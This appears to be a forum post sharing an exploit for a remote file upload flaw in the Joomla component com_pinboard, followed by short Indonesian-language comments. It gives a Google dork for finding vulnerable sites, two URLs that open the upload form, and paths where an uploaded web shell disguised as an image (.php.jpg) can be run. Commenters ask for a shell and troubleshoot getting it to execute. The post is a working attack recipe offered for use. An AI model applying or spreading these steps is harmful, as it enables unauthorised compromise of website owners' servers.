Joomla Component - Remote File Upload Vulnerability

Joomla Component com_pinboard Remote File Upload Vulnerability

Dork:
inurl:com_pinboard

Exploit:
1. target.com/[path]/components/com_pinboard/popup/popup.php?option=showupload
2. target.com/[path]/index2.php?option=com_pinboard&Itemid=117&action=popup%22&action=popup&task=uploadForm

Show uploaded:
1. target.com/[path]/images/stories/pinboard/picture/[shell].php.jpg
2. target.com/[path]/strona/components/com_pinboard/pictures/[shell].php.jpg

walah keren banget tuh om.....boleh donk mintya shell nya buat irc....

mantab bos .. lanjut

nice share om
tapi kemarin nemu yang kayak gtu
terus saya upload file terus saya panggil filenya
koq yg keluar cuma URL z sih.?
bukan shel kita

permisi nya kali om yan ngijinin kita akses tuh file

ouh gtu yah kk
thx yah penjelsannya